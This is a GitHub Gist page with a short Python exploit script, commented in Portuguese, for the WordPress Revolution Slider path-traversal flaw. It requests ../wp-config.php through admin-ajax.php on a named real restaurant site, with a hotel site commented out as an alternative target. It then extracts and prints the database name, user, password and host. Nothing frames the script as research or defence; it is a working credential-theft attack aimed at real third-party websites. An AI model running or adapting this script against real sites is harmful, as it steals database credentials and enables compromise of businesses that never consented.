Created
April 16, 2017 02:28
-
-
Save rafabarbosa/9791f9435891390a7d2e7c5e1c8e2348 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import re | |
import urllib.request | |
def handling(content): | |
return content.split(", ")[1].lstrip("\\'").rstrip("\\'") | |
target = "http://www.flamesrestaurant.co.za" | |
#target = "http://www.arribashotel.com" | |
vull = "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php" | |
print("[*] TARGET:", target) | |
try: | |
data = urllib.request.urlopen(target+vull) | |
except: | |
print("[!] ERROR: O target não é vulnerável") | |
else: | |
content = re.findall(r'define\((.+?)\);', str(data.read())) | |
print("[+] DB_NOME:", handling(content[0])) | |
print("[+] DB_USER:", handling(content[1])) | |
print("[+] DB_PASS:", handling(content[2])) | |
print("[+] DB_HOST:", handling(content[3])) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment